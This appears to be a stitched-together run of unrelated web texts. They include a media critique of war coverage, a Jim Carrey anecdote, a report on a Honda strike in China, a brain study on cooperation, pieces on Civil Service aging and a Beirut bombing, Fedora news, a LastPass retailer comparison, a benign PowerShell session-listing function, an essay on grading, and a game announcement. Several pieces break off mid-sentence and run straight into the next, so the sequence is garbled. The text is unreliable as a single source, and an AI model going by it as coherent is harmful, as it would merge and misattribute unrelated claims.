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A recent article in FAIR reviewed the findings of its latest study on the quality of political “debate” being aired on the mainstream networks. It studied the run-up to the military interventions in both Iraq and Syria. Perhaps the arbiters of the study intended to illustrate what we’ve learned since the fraudulent Iraq War of 2003. Well, it appears we’ve learned nothing.
FAIR spent hours painfully absorbing the misinformation peddled by such soporific Sunday shows as CNN’s State of the Union, CBS’s Face the Nation, NBC’s Meet the Press, and ABC’s This Week, plus some of the more popular weekly political programming including ADHD-inducing CNN’s Situation Room, Fox News Channel’s Special Report, the venerable sedative PBS NewsHour, and MSNBC’s Hardball. You know the cast of characters: glib George Stephanopoulos, forthright Candy Crowly, harrowing Wolf Blitzer, and stentorian Chris Matthews. Images of their barking maws are seared into the national hippocampus.
Overall, 205 mostly government mouthpieces were invited to air their cleverly crafted talking points for public edification. Of them, a staggering sum of three voiced opposition to military action in Syria and Iraq. A mere 125 stated their support for aggressive action.
Confining its data to the Sunday shows, 89 guests were handsomely paid to educate our benighted couch-potato populace. One suggested not going to war. It stands to reason that considered legal arguments against these interventions got the short shrift, too.
The media consensus on Syria and Iraq isn’t an isolated instance of groupthink. Far from it. It conforms to a consistent pattern, one that has at its core a deliberate disregard for international law and efforts to strengthen transnational treaties and norms regarding military action. (Although transnational law regulating trade is highly favored, for obvious reasons.)
Here the New York Times uncritically repeats Israel casualty figures from the recent attack on Gaza. The journalist, Jodi Rudoren, gives equal legitimacy to sparsely defended claims from Tel Aviv and “painstakingly compiled research by the United Nations, and independent Palestinian human rights organizations in Gaza.” She adopts a baseless Israeli definition of “combatant”, ignoring broad international consensus that contradicts it. She dubiously conflates minors with adults, and under-reports the number of children killed. And so on. All in the service of the pro-Israel position of the paper.
In 2010 Israel assaulted an aid flotilla trying to relieve Palestinians under the Gaza blockade. Author and political analyst Anthony DiMaggio conducted Lexis Nexus searches that demonstrate how U.S. media and the NYT in particular scrupulously avoid the topic of international law when discussing Israeli actions. In one analysis of Times and Washington Post articles on Israel between May 31st and June 2nd, just five out of 48 articles referenced international law relating to either the flotilla raid or the blockade. DiMaggio dissects several of the methods by which Israel flaunts the United Nations Charter. He adds that Israel has violated more than 90 Security Council resolutions relating to its occupation. You don’t get this story in the American mainstream. But this is typical. U.S. media reflexively privileges the Israeli narrative over Arab points of view, and barely acknowledges the existence of dozens of United Nations resolutions condemning criminal actions by Israel.
It’s the same with Iran. For years now, Washington has been theatrically warning the world that Iran wants to build a bomb and menace the Middle East with it. That would be suicidal. It is common knowledge among American intelligence agencies, and any others that have been paying attention, that Iran’s foreign policy is deterrence. But this doesn’t stop the MSM from portraying Tehran as a hornet’s nest of frothing Islamists.
Kevin Young has done a telling survey of articles on nuclear negotiations between the U.S. and Iran. Some 40 editorials written by the Times and the Post were vetted. Precisely zero editorials acknowledged international legal implications of U.S. public threats and various subversions led by Israel, such as assassinating scientists and conducting cyber-attacks, both innovations on standard violations of sovereignty. However, 34 of the pieces “said or implied” that Iran was seeking a nuclear weapon. Forget that 16 American intelligence agencies stated that Iran had no active nuclear weapons program. These papers of record prefer to trade in innuendo and hearsay, despite assessments to the contrary. More than 80% of the articles supported the crippling U.S. sanctions that are justified by the supposed merit of the bomb-building claim.
Prior to Young’s work, Edward Hermann and David Peterson looked at 276 articles on Iran’s nuclear program between 2003 and 2009. The number itself is staggering, more so when stacked against the number of articles written over the same period about Israel’s nuclear program: a mighty three.
This is interesting considering the posture of both countries in relation to international treaties. Israel freely stockpiles nuclear weapons and maintains a “policy of deliberate ambiguity” about its nuclear weapons capacities, despite frequent efforts by Arab states to persuade it to declare its arsenal (which is estimated by some to be in the hundreds). Also, it has yet to sign the Treaty on the Nonproliferation of Nuclear Weapons (NPT) that has been signed by 190 nations worldwide. This intransigent stance has marooned the broadly embraced idea of working to establish a nuclear weapons free zone in the region.
Contrast Israel’s behavior with that of Iran itself, which has permitted extensive inspections of its nuclear facilities. The Times recently noted the country’s main nuclear facilities were “crawling with inspectors.” Iran is also a party to the NPT and is a full member of the IAEA. It continues to try to work toward a reasonable solution with the West despite debilitating sanctions levied on it by the United States. America has unduly pressured the IAEA to adopt additional protocols that would require prohibitively stringent demands on Iran, rendering the possibility of a negotiated solution comfortably remote from an American standpoint. (These additional demands reportedly include drone surveillance, tracking the origin and destination of every centrifuge produced anywhere in the country, and searches of the presidential palace. All of this passes without comment from our deeply objective journalist class.)
Coverage of Iraq is |
what came next.
Carrey explains his first meeting with Jones at the 55-minute mark in the video above. Here’s the interesting bit, partially transcribed by Fashionstyle with corrections and additions made by us.
“I was really looking forward to working with Tommy, because he’s a fantastic actor, and he still is to me. I love him, I mean he’s amazing, but he was a little crusty. He was a little crusty. Sometimes that Rhodes Scholarship is more of a weapon than an asset. “I think he was just a little freaked out because Dumb and Dumber came out on the same weekend as Cobb, and Cobb was his big swing for the fences and that didn’t work out and that freaked him out a bit. “I walked into a restaurant the night before our big scene in The Riddler’s lair. [The maître d informed Carrey that Tommy Lee Jones was also in the restaurant.] “I went up to say hi [to Jones] and the blood drained from his face, in such a way that I realized that I had become the face of his pain or something. He got up, kind of shaking and hugged me and said ‘I hate you. I really don’t like you.’ And I was like ‘Wow, okay. Well, what’s going on man?’ And he said, ‘I cannot sanction your buffoonery.’ […] I said, ‘I think this part requires that the tone of this thing is kind of childlike evil and stuff, and I think you might have trouble there, so I wish you the best.'” [emphasis ours]
Yes. I’m sure that’s exactly what Carrey said in the moment. It’s certainly not what he later wished he’d said instead of backing away slowly because you do not want to be around Tommy Lee Jones when he goes full Tommy Lee Jones.
He’s so not sanctioning our buffoonery right now.
On an even more awesome note, at the end of the interview, Stern joked that Jones gave Dumb And Dumber To “zero stars and said ‘f*ck you’.”
Carrey replied, “I hope Cobb 2 isn’t coming out.”
Via CBM and FashionstyleIt was unclear on Monday how many longtime workers had lost their jobs to replacement workers. The factory was severely understaffed before the strike because it had not raised wages, workers said.
By mid-morning on Monday, Honda was dismantling the recruitment tent next to the broad avenue near the factory, after apparently concluding that it had a full complement of replacement workers and former strikers.
But there were signs of further labor difficulties in the factory among strikers who had gone back inside. Two of these former strikers said in text messages and a phone call that employees in some factory departments were refusing to work while seeking further details from management on wage and benefit concessions.
A Honda spokesman did not reply to numerous phone calls and text messages on Sunday and Monday.
It is also too early to tell whether the apparent resolution of this strike — somewhat higher wages but lost jobs for some strikers — will set a pattern elsewhere as labor unrest spreads. Workers in the industrial southeast of China and elsewhere have been turning a labor shortage to their advantage by demanding better pay and working conditions.
But the Honda Lock parts factory here can run on lower-skilled, less educated workers than the Honda transmission factory in Foshan, a two-hour drive to the northwest. A strike at the Foshan factory brought the company’s auto-assembly operations in China to a temporary standstill — and the regular work force there was lured back to their jobs with reportedly much larger wage increases than Honda is offering here in Zhongshan.
Replacement workers and returning employees here are receiving 11 percent higher pay and a 33 percent rise in allowance for food and housing. The combined increase in wages and benefits was considerably less than the near doubling of wages alone that the strikers had sought. Even so, the improved compensation — wages of $152 a month and an allowance of $59 a month — was enough to make the jobs attractive to replacement workers.
City governments, which depend on taxes and other revenue from factories, play an important role in maintaining labor peace.
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Honda Lock, a subsidiary of Honda in Japan, owns 65 percent of the factory here. The other 35 percent is held by Xiang Suo, a business owned by the municipal government.
Honda advertised on television for replacement workers and hired employment agencies to help find them, a factory recruiter said. Young men and women showing up at the factory gates looking for work said that they had heard about job opportunities through word of mouth or had met factory managers who walked through the nearby shopping mall seeking workers.
Striking workers had held a rare protest march on Friday, chanting slogans as they walked down the main road of an industrial park, many of them smiling with an almost euphoric sense of unity.
By midday on Sunday, four Chinese recruiters wearing white jump suits with bright red “Honda Lock” logos had set up a recruitment tent for replacement workers at the side of the avenue, about 10 yards from where the riot police had stood.
The strike could help Honda end up with a younger work force with fewer family obligations to distract them. Most visitors to the tent were enthusiastically welcomed by the four recruiters.
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The strikers here had wanted to match the raises of up to 50 percent, to as much as $234 a month in addition free dormitory housing, reportedly obtained by workers at a transmission plant in nearby Foshan nearly two weeks ago. But they appear to have miscalculated on an important point. Transmission plants are highly automated operations that require skilled employees. The transmission factory workers in Foshan mostly have the Chinese equivalent of community college degrees in subjects like mechanical engineering.
By contrast, the factory here assembles door locks, rear and side mirrors, and other low-value products. One recruiter at the recruitment tent said that Honda only required a junior high school education for applicants.
Honda is still trying to lure back strikers, however. A large sign at the factory gates said that last Wednesday through Saturday, the days when the factory was closed because of the strike, would be counted as paid work days. Management also offered double pay for hours worked on Sunday, Monday and Tuesday, as the factory tries to catch up.
Striking workers who do not return by the end of the day on Tuesday will be dealt with according to national labor laws, the factory notice said. The laws allow the dismissal of employees who do not show up for work.
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A young woman who came to the factory gates looking for work on Sunday said that she had traveled two hours by bus after hearing by phone from a friend that Honda was hiring and offered better working conditions than many factories.
“I can’t stand the 12-hour shifts at other factories,” she said. “Here it’s only eight hours.”
The crumbling of the strike shows that employers and the authorities retain powerful options in the face of rising labor unrest.
Honda’s ability to find replacement workers by offering only somewhat higher wages shows that many in China are still earning the minimum wage — which is set locally and is around $130 to $150 a month in big coastal cities — and are happy to change jobs for a little more money.
Strong economic growth has fueled demand for factory workers. Yet the total population of young Chinese has leveled off because of tightening enforcement through the 1980s and 1990s of China’s “one-child policy.” And even fewer young Chinese are available for factory work because more are going to university instead.
But laws and social norms still favor employers. There is little stigma associated with strike breakers and scant sign of worker solidarity in what remains officially a communist country.
Asked what would become of the strikers, several replacement workers shrugged and said they did not know.
The strike activist at the mall said that he had nothing against the replacement workers, either. The new employees are trying to make a living, he said, adding that “they don’t know me.”
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The Chinese government’s willingness to help a Japanese company replace Chinese workers with strike breakers could stir anger in China if it became widely known. Some hostility toward Japan still simmers in China as a result of atrocities during World War II.
The strike here has particularly touchy historical overtones. Zhongshan is famous across China as the hometown of Sun Yat-sen, who overthrew imperial rule in China in 1911 and had a socialist-influenced vision of China’s future in which workers would play a valued role.
But the breaking of the strike may not become widely known in China. After allowing nationwide television and newspaper reporting of the early days of the transmission plant strike, Beijing authorities have imposed severe restrictions, without explanation, on the ability of the domestic media to report on labor unrest.Group projects like office presentations often involve us working well with others. We can all cooperate, but the approaches we use aren't always the same, especially when it comes to gender. According to a recent study published in the journal Scientific Reports, different parts of men and women's brains are activated when working on a simple task, suggesting there are gender differences when it comes to cooperation.
"It's not that either males or females are better at cooperating or can't cooperate with each other," said Dr. Allan Reiss, senior author of the study and professor of psychiatry and behavioral sciences and of radiology at the Stanford University School of Medicine, in a statement. "Rather, there's just a difference in how they're cooperating."
Previous research has shown there is no difference in the intrinsic ability of males and females, but there is a difference in the way the two genders go about solving problems. In terms of spatial abilities, especially when it comes to mental rotation of an object, it has been found men use a holistic approach, like visualizing the entire object at once, whereas women use a point by point feature comparison. Moreover, women are more likely to use equations, where men will use strategies such as Venn diagrams for standardized math tests.
Reiss and his colleagues sought to analyze the brain signature of cooperative behavior in pairs; how the brain responds to a cooperative task. “The primary goal is: how do two brains in a pairing correlate with one another under these circumstances?” Reiss told Medical Daily.
Reiss and his colleagues recruited a total of 222 participants to determine how cooperation is reflected in the brains of men and women who are actively working together. The participants were placed in pairs, consisting of two males, two females, or a male and a female. They were told to perform a simple, cooperative task that involved pushing a button simultaneously, without speaking to their partner. After each try, the pairs were told which partner had pressed the button sooner, and how much sooner. They were given 40 attempts to get timing as close as possible.
"We developed this test because it was simple, and you could easily record responses," said Reiss. "You have to start somewhere." This isn’t modeled after any particular real-world cooperative task.
The researchers used hyperscanning — a technique that simultaneously records the activity in two people's brains while they interact — and near-infrared spectroscopy (NIRS), in which probes are attached to a person's head to record brain function, allowing them to sit upright and interact more naturally.
The findings revealed gender influences both behavior and brain activity when it comes to cooperation. On average, male-male pairs performed better than female-female pairs at timing their button pushes more closely. However, brain activity in both same-sex pairs was synced during cooperation, meaning they displayed high levels of “interbrain coherence.” This correlated with better performance on the cooperation task. Surprisingly, the location of coherence differed between male-male and female-female pairs.
In males, parts of the brain in the right prefrontal cortex — involved with multitasking — received more oxygen from blood. Contrastingly, in females, activation happened in the right temporal region, which is involved in recognizing social body cues. Meanwhile, male-female pairs did as well as male-male pairs at the cooperation task, even though they didn't show coherence.
The researchers note they did not measure activity in all parts of the brain.
"There are a lot of parts of the brain we didn't assess," said Reiss. This suggests interbrain coherence may have been present in other brain regions that weren’t observed during the task.
The exact role of the brain regions observed in the study during the simple task is unknown, but these scans do provide insight into the neurological mechanisms that influence how the sexes work together.
However, the findings are too preliminary to suggest either gender is better or worse at cooperation. Rather, they imply there's just a difference in how they're cooperating.
Pixabay, Public Domain
Reiss believes the differences in brain activity in males and females during cooperative tasks is both a biological and environmental influence.
“It’s not surprising that you see differences in how the brains of males and females respond to different types of tasks. Different brain circuits are used to get the same outcome” he said.
He believes the only way we’re going to know how much of these differences are biological rather than environmental will be by studying younger populations. It’s a process that gets more and more crystallized.
The study could help improve group dynamics by identifying the most effective pairs of people together. This could also be useful for patients with autism who have problems with social cognition. Reiss and his colleagues believe further research on brain patterns during cooperation can help in the advancement of treatments for patients with disorders like autism, as it'll help them develop better techniques for interacting with others.
“There are ways to give feedback to a human being having this type of scan or imaging, or even interacting with another person could allow them to change the effectiveness of coherence” said Reiss.
Typically, people with autism have difficulty expressing themselves during social interactions. They may appear to be uncooperative because they haven’t learned the appropriate behavior for different social situations, according to Autism Speaks. They may also encounter problems managing strong or difficult feelings, such as anger, frustration, or anxiety.
Effective therapies using similar approaches in study, can help those with autism “learn how to synchronize their brain activity to a person they’re interacting with” to help bridge the social cognition gap that exists, according to Reiss.
“Cooperation is the primary way of interacting with another person,” he said.
Furthermore, a 2013 study found the anatomy of the brain of someone with autism depends on whether the patient is male or female. The researchers noted autism affects different parts of the brain in females than in males with autism. Females tend to show neuroanatomical “masculinization,” meaning regions of the brain that were atypical in adult females with autism were similar to areas that differ between typical developing males and females. The brain difference was not seen in adult males with autism.
Understanding how autism affects the brain of males and females, and exploring the brain activity of both genders, and how they cooperate, can lend itself to refine autism treatments.
Source: Baker JM, Liu N, Ciu X et al. Sex differences in neural and behavioral signatures of cooperation revealed by fNIRS hyperscanning. Scientific Reports. 2016.I’ve been aware that the age profile of the people I talk to about Whitehall is changing – that is, it is getting older, and faster than you'd expect – but I couldn’t be certain that the pattern was holding across the piece.
But over at the Institute for Government, Gavin Freeguard has crunched the numbers and confirmed it: the Civil Service is getting older, with the exception of the Treasury, which is getting younger.
What follows is purely anecdotal, but there are several interesting stories behind the data, I think, all of which deserve further study.
The first is a hint of the wasting effect of the public sector pay freeze is going to have on the Civil Service’s institutional memory. What’s clear from the ONS data is that what is driving up the age profile of some departments are the missing generation from 30 to 50. And I’ve noticed that increasing numbers of Whitehall’s thirty and fortysomethings quitting to get a raise. My – again, wholly anecdotal – impression is that this is also behind the Treasury’s younger age profile. The options to “trade up” salary-wise are greater earlier in that department.
There are couple of problems this is going to cause. The first is the perpetual problem for the Treasury and the Revenue – that it’s more lucrative to leave the department to advise large companies how to avoid paying as much money to government as possible. The second is the lack of people around the top of the Civil Service with prolonged experience of managing big projects to completion. This issue is already acute in the Treasury, where, as one civil servant noted to me during the row over national insurance contributions, no one in the building has any experience of negotiating policy through a small Commons majority (Labour’s majority by the time it lost power was 60, the coalition parties had a combined majority of 77).
When the current wave of 50-somethings retire – and some will retire early, of course – their departments, too, will lose a great deal of institutional memory, as there is not a rising generation of 30- and 40-somethings to replace them.
Tied to both of those problems is the second interesting story: the effect of London’s overheated housing market on not just the Civil Service but the public sector as whole. When you talk to civil servants at the top of the age distribution, they tend to be mortgage-holders or even owner-occupiers, because they got onto the London property ladder before prices spiralled out of reach.
This problem isn’t just confined to Whitehall. Two senior teachers can borrow around £350,000, which in inner London buys you a flat and in Manchester gets you a three or four bedroom-house. That's true across much of the public sector. (It's true in the private sector too but the skills of a qualified teacher, nurse or doctor are more easily transferable across the country for obvious reasons.) London as a whole is getting younger. The plural of anecdote isn't data but my strong impression is that trend is being driven by people leaving the capital in order to afford somewhere with space for children. If housing in the south-east continues to get more and more unaffordable, the public sector is either headed for a recruitment crisis or a salary crisis or both.
The third story and in many ways the least remarkable is morale. Some of those quitting – again, I’m speaking purely anecdotally – might have respected some of their Conservative ministers but came into the Civil Service under a Labour government and hoped to work for one again in 2015. Now they think the Conservatives will be in power for the foreseeable future, they are getting out of Dodge. And again, there’s a specific generational squeeze here – people in their 40s and below for whom Labour government was the norm rather than the historical exception.
The fourth is less party-political, and more personal. I don’t know whether the civil servants who believe that Theresa May wandered into the row over Easter Eggs out of “revenge” are right or not. But what’s more interesting is the large number of civil servants who don’t like the new boss at all and are also looking for an exit. Civil Service brain drain may become a serious crisis sooner than we think.BEIRUT – A man suspected of being one of the Bir Hassan suicide bombers was identified on Wednesday as Palestinian national Nidal al-Mghayyar.
The Lebanese Armed Forces circulated his picture as a “dangerous and wanted man.”
However, DNA tests of Mghayyar’s father are scheduled to be carried out to confirm that he was one of the bombers.
A neighbor of Mghayyar’s, who preferred to remain anonymous, told NOW that the alleged suicide bomber was good friends with Mohammad al-Moussa, who committed a suicide bombing near the Iranian embassy in November 2013.
He also said that Mghayyar and Moussa had gone missing after the followers of fugitive Sunni cleric Ahmad al-Assir battled the army in Sidon’s Abra in June of last year.
NOW’s correspondent later reported that a number of young men had burned Mghayyar’s car and house in Al-Baysariyyeh, while Hezbollah members cordoned off the town.
The army later cordoned off Mghayyar’s house.
Earlier on Wednesday, two explosions hit the Beirut neighborhood of Bir Hassan, killing six people and injuring over a hundred in the latest attack in the suburbs of the Lebanese capital.
The blasts took place by the Iranian Chancellery, near the Hezbollah stronghold of Dahiyeh, and have been claimed by the Abdullah Azzam Brigades, a jihadist group inspired by Al-Qaeda.
The group had previously claimed an attack on the Iranian embassy in Beirut, also located in a Shiite neighborhood controlled by the Tehran-backed Hezbollah.
Hezbollah is fighting alongside Syrian President Bashar al-Assad's troops against Sunni-led rebels.We as Canadians should not have to deal with the slander, smear or attack ads by the political parties who are either in power or attempting to be in power. Any party that is part of creating and or airing these ads should punished for doing so. If a party can not live on their own campaign promises why should we allow a party to smear, slander or attack another party.
What I would suggest is that heavy fines for the broadcasting station (air, cable, and internet) and in the case of a running party we add temporarily campaign ad black outs be enforced along with those heavy fines.
This may increase the voter outcome in elections if we can only hear what a party stands for and not the lies the party spreads.
My goal is that I hope to get CRTC or another acting party to endorse this and make it happen. Thank you for your time.
PS. If someone wants to help write this better and/or translate this into French I will be very appreciative.Pieces of mail (Photo by bikeriderlondon via Shutterstock)
We hope your important mail wasn't in this truck. A big rig containing 120,000 pieces of USPS mail was engulfed in flames on an Orange County freeway early this morning.
The privately-owned big rig was contracted by the USPS to take mail over to Ontario Airport, but it caught on fire around 1:30 a.m. near North Lambert Road on the 57 Freeway in Brea, according to the O.C. Register and CBS Los Angeles. The driver was not injured.
It took firefighters about an hour to quell the fire, reported CBS Los Angeles. Witnesses said the truck looked like it exploded as it was going down the freeway.
A CHP officer told a videographer at the scene that the USPS truck had rear-ended another big rig, reported City News Service. However, the CHP told the O.C. Register they are still investigating the cause of the fire.Another U.S. youth international is making a big leap overseas, as midfielder James Murphy has joined English Championship side Sheffield Wednesday.
Murphy has signed a three-year contract with the English club, the player confirmed to SBI on Thursday. The team is expected to announce the deal in the coming days.
The 18-year-old has been involved with the U.S. national team since 2010, as a member of the Under-14 side. Murphy has continued to climb the U.S. Soccer ladder, most recently playing in October 2015 for the U-20s at the Four Nations Tournament in Germany.
Murphy is a native of New Jersey, playing for academy side Players Development Academy (PDA) since the age of eight. Murphy later went on trial with the Union in 2015, although didn’t sign a contract at the time.
Sheffield Wednesday finished sixth in the Championship last season, although the team nearly made the jump to the Premier League during their promotion playoff run. The Owls fell, 1-0, to Hull City in the playoff final.Fedora is a big project, and it’s hard to keep up with everything. This series highlights interesting happenings in five different areas every week. It isn’t comprehensive news coverage — just quick summaries with links to each. Here are the five things for May 15th, 2015:
Countdown to the Fedora 22 release
Fedora 22 is currently scheduled to be released on May 26th — 11 days to go! This will include our Cloud, Server, and Workstation editions, along with other variants like Fedora Atomic (designed for running containerized apps) and of course KDE and Xfce desktop spins.
As always, the last few weeks before release are a little hectic as we iron out the last blocker bugs, but as of right now — knock on wood — the general sense is that we’re in pretty good shape. (We’ll know for sure by Thursday of next week, and hopefully sooner.) I know people sometimes get frustrated with schedule “slips”, and hopefully that won’t happen, but remember, a somewhat-elastic schedule is part of the plan for delivering high-quality releases (as Joe Brockmeier wrote last year).
If you’re feeling impatient, grab the F22 beta (Server, Cloud, or Workstation) and help us iron out any last-minute problems. As is usually the case, if you start with a Fedora beta release, you’ll be upgraded seamlessly to the final release when that comes out, so you won’t have to reinstall.
Fedora Marketing Status
On Monday, the Fedora Council held our first video-based council meeting, featuring a presentation from Chris Roberts of the Fedora Marketing team. Watch the video here:
or download in VP8/webm format, or read the real-time transcription log (thanks to Fedora Community Action and Impact Lead Remy DeCausemaker).
Upcoming Video Meeting on “Three Editions”
That worked well, so we’re going to do it again this coming Monday, with Stephen Gallagher presenting on the official project objective which he’s leading, Fedora Editions, Phase 2. This is scheduled as a G+ event, plus we’ll have a text-based live transcription (and place for questions) in the
#fedora-meeting
channel on Freenode IRC, and I’ll post the video in open video format webm/VP8 shortly after. We’re also planning a similar presentation from Fedora QA on June 8, and from various Fedora Engineering subteams in July.
FAD planning changes — impact!
A “FAD” is a “Fedora Activity Day” — a Fedora premiere event funded from our community budget. In order to make sure that this is spent most effectively, that we can communicate to our sponsors how we are making the most of their money, and that the rest of the community feels good about these allocations, we’ve rearranged the FAD organization process to focus on not just what will be done, but on the benefits of those activities to the project as a whole.
Priority for funding will be given to FADs which are directly connected to our 12-18 month community objectives. If you have an idea where getting a bunch of Fedora contributors together to work on something would have a big, positive effect on a current Objective, put together proposal. Or, if you have an idea for a new Objective which would have a big, positive effect on our mission in a well-defined timeframe (and know the right person to lead the work!), put together a proposal for that, too! (For either of these, contact the Fedora Council to start the discussion.)
I was a sysadmin in a former life, and like many sysadmins, had more machines to maintain than one person could really give individual attention to. For many of those systems, I appreciated the ability to automatically apply updates without intervention. With Fedora 22, our command-line package tool switches from Yum to DNF, and Rackspace (and Fedora) hacker Major Hayden has a nice howto on his blog for configuring your system for automatic package updates with dnf.
With the pre-release crunch next week, 5tFTW will be taking a little break. I’ll be back the week after that.0 of 11
Richard Heathcote/Getty Images
Liverpool has been one of the biggest clubs in the world for a long time. With 18 league titles and five European Cups, it is the most successful club in England.
In addition to the the performances on the field, Liverpool has always prided itself on the undying support of its fans.
The club has supporters not only in its hometown, Merseyside, but from all across the globe.
Many of the current footballers including Rio Ferdinand, Kevin Nolan, Joey Barton and Ole Gunnar Solksjaer are said to have idolized the stars of Liverpool as kids.
With support from all across the globe, there are bound to be celebrities in the huge list of supporters. The list looks at the top-10 celebrity fans of the great club from across the globe.Password management company LastPass has compared ten web retail companies based on several user security rules.
LastPass comes up with a list of "naughty" and "nice" based on total scores in the comparison (see their infographic below for the cute version of the summary) but the detailed results clarify some of the distinctions.
Here are the detailed results. The full LastPass table includes explanations for the individual scores, each of which is out of a possible ten.
Retailer Password Requirement Passwiord Strength Security Questions Specific Questions HTTPS Amount of data stored Total Apple App Store 7 0 10 10 10 5 42 eBay 7 0 8 10 10 3 38 Macy's 5 0 10 10 10 3 38 Best Buy 7 10 0 0 10 3 30 Target 7 10 0 0 10 3 30 Amazon 5 0 0 0 10 3 18 Walmart 5 0 0 0 10 3 18 Kohl's 5 0 0 0 10 3 18 JCPenny 5 0 0 0 10 3 18 Sears 0 0 0 0 10 3 13
According to LastPass, the retailers chosen are the "top 10 retailers in the US chosen per Top 500 Guide’s Top 500 e-Commerce sites and the National Retail Federation’s Top 100 Retailers."
Password Requirement: The rules for strong passwords. Does the site let you do "asdf" or do they make you use strong passwords?
Password Strength: Does the site tell you how strong the password you chose is?
Security Questions: Does the site ask you for security questrions? How many?
Questions: Are the questions stupid ones?
HTTPS: Does the site force an SSL connection?
Amount of data stored: Is the site storing more information than they should?
Based on the results I see three tiers of sites: Apple, eBay and Macy's are clearly at the top. BestBuy and Target are a step down, and Amazon, Walmart, Kohls, JCPenny and Sears are, as LastPass says, naughty.
The differences are made in the password strength meter, which is what draws BestBuy and Target out of the naughty list, and in the two security question columns. These are what put Apple, eBay and Macy's up top.#Requires -Version 3.0
function Get-MrRemotePSSession {
<#
.SYNOPSIS
Retrieves a list of the Windows PowerShell sessions that are connected to the specified remote computer(s).
.DESCRIPTION
The Get-MrRemotePSSession function gets the user-managed Windows PowerShell sessions (PSSessions) on remote
computers even if they were not created in the current session.
.PARAMETER ComputerName
Specifies an array of names of computers. Gets the sessions that connect to the specified computers.
Wildcard characters are not permitted. The default value is the local computer.
.PARAMETER Credential
Specifies a user credential. This function runs the command with the permissions of the specified user.
Specify a user account that has permission to connect to the remote computer. The default is the current
user. Type a user name, such as `User01`, `Domain01\User01`, or `User@Domain.com`, or enter a PSCredential
object, such as one returned by the Get-Credential cmdlet. When you type a user name, this cmdlet prompts
you for a password.
.EXAMPLE
Get-MrRemotePSSession -ComputerName Server01, Server02 -Credential (Get-Credential)
.EXAMPLE
'Server01', 'Server02' | Get-MrRemotePSSession -Credential (Get-Credential)
.INPUTS
String
.OUTPUTS
PSCustomObject
.NOTES
Author: Mike F Robbins
Website: http://mikefrobbins.com
Twitter: @mikefrobbins
#>
[ CmdletBinding ( ) ]
param (
[ Parameter ( ValueFromPipeline ) ]
[ string [ ] ] $ComputerName = $env : COMPUTERNAME,
[ System. Management. Automation. Credential ( ) ] $Credential = [ System. Management. Automation. PSCredential ] :: Empty
)
BEGIN {
$Params = @ {
ResourceURI ='shell'
Enumerate = $true
}
if ( $PSBoundParameters. Credential ) {
$Params. Credential = $Credential
}
}
PROCESS {
foreach ( $Computer in $ComputerName ) {
$Params. ConnectionURI = "http://$($Computer):5985/wsman"
Get-WSManInstance @ Params |
Select-Object -Property @ { label = 'PSComputerName' ; expression = { $Computer } }, Name, Owner, ClientIP, State
}
}In conferences, debates and panel discussions about schools, I await mention of the unmentionable issue: grading. It never comes.
We discuss tests, teacher assessments, Common Core standards and school ratings, but not student report cards, the greatest source of stress and miscommunication in our education system.
I opened Richard DuFour’s new book, “In Praise of American Educators: And How They Can Become Even Better,” expecting the same report card avoidance. DuFour is a celebrated consultant with long experience at an exceptional high school — Stevenson in Lincolnshire, Ill. — but he has to deal with the usual issues because that’s what he’s paid for.
But in the middle of the book, he surprised me. He launched a brilliant attack on the notion that tough grading will prepare students for the real world. So many of our educators, as well as the rest of us, think F’s build character and save struggling students from lives of sloth and poverty.
DuFour recommends that schools provide students who are not learning with extra time and support. This makes educators, particularly those in secondary schools, uncomfortable.
“One of their frequently expressed concerns is that giving some students additional chances to learn is ‘not fair’ to the students who passed the first time,” he says. “If the mission of the school is to identify students who learn fast and who learn the first time we teach it, this approach makes sense. But if the mission of the school is to ensure all students learn, it does not.”
Students “unable to demonstrate proficiency,” he says, should be “required to keep working and learning until they become proficient.”
School veterans often say to that: “Are you kidding?” DuFour says they tell him “providing students with these second chances won’t prepare them for the harsh realities of the ‘real world’ or the ‘sink or swim’ environment of higher education, where students are expected to take full responsibility for their learning; requiring students to get additional help until they become proficient simply ‘enables’ students to give less than their best effort.”
DuFour responds: How’s that working for you?
“How does the traditional practice of allowing an irresponsible student who would rather take a zero than do the work teach that student to act responsibly?” he asks. “How does allowing a student to opt out of a program to provide him or her with assistance teach responsibility? If a student is truly going to enter a sink-or-swim situation in higher education, the best preparation is to teach the student to swim — to provide the student with the knowledge, skills and habits essential to success in that situation — rather than allow the student to sink first in high school.”
Many of my fellow basic training draftees many years ago were not well motivated, but the Army — one of our nation’s most successful educational institutions — made clear we had no option other than to learn.
DuFour often hears, as I do, educators in schools with high failure rates say “the students won’t do the work.” Often they say without support at home there’s no hope. Instead, DuFour says, educators “must teach the skill by creating systems that place students in an environment during the school day where their work is monitored closely until it is completed and they can demonstrate proficiency.”
Sounds like good old Ft. Lewis, Wash., to me. But DuFour offers detailed descriptions of interventions that work without drill sergeants. And he makes the essential point: “There is virtually no research or evidence to suggest that higher incidents of failure in school produce higher levels of responsibility, greater academic achievement in college, or a higher likelihood of success in meeting the demands of adult life.”
Replacing F’s with passing grades for little work, one troubling explanation for our rising high school graduation rates, also is not good. In the new year, firm adherence to learning in our high schools would be a welcome change.Ultimate Epic Battle Simulator - Brilliant Game Studios
Facebook: https://www.facebook.com/pg/theblackmassesofficial It feels great to finally show you guys what we have been working on for the past 7 months. Today marks the 1 year anniversary of UEBS, and what better time to reveal our next project. Please take some time out of your day to view the trailer, if you like it, give it a thumbs up and follow the facebook page!The Game:The Black Masses is a highly ambitious first person open world RPG developed by a small team @Brilliant Game Studios. It features the record breaking crowd rendering technology from our previous title, Ultimate Epic Battle Simulator. TBM is set in a massive medieval fantasy setting on a 16 sq-km island. Fight off tens of thousands of demon possessed souls while trying to solve the mysteries of what started the satanic uprising. Traverse any obstacle with our revolutionary climbing/parkour system. Level up your skills and become a god among men.Thank you everyone for your amazing support!Note: Some of you have voiced your opinion about UEBS being abandoned. I've stated that Black Masses has been in development for over 6-7 months. During that time, UEBS has seen multiple updates. UEBS is now one year old as of today and has grown a great deal. UEBS will continue to see updates over the next year. Try to keep in mind that we are an ambitious team who are always looking to try new things and go where no one else has. Progress cannot be made without |
says "these hackers are bad, and therefore we should destroy their computers," I don't think you should have any role in making laws around this topic.
Filed Under: cfaa, destroying computers, hackers, hacking, louis gohmert, orin kerrOH, HOW the plot has thickened.
The mystery over the whereabouts of former Auburn city councillor Salim Mehajer’s wife, Aysha, has deepened overnight after a curious series of events that have left us wondering what the hell is going on.
Yesterday, news.com.au published an article detailing Mrs Mehajer’s sudden disappearance, after reports she fled her husband of less than one year.
“While Salim continues to taunt the public with ambiguous [Facebook] posts, there’s one voice we’ve yet to hear in all this — and that’s from Aysha herself,” read the article.
“Just where is she?”
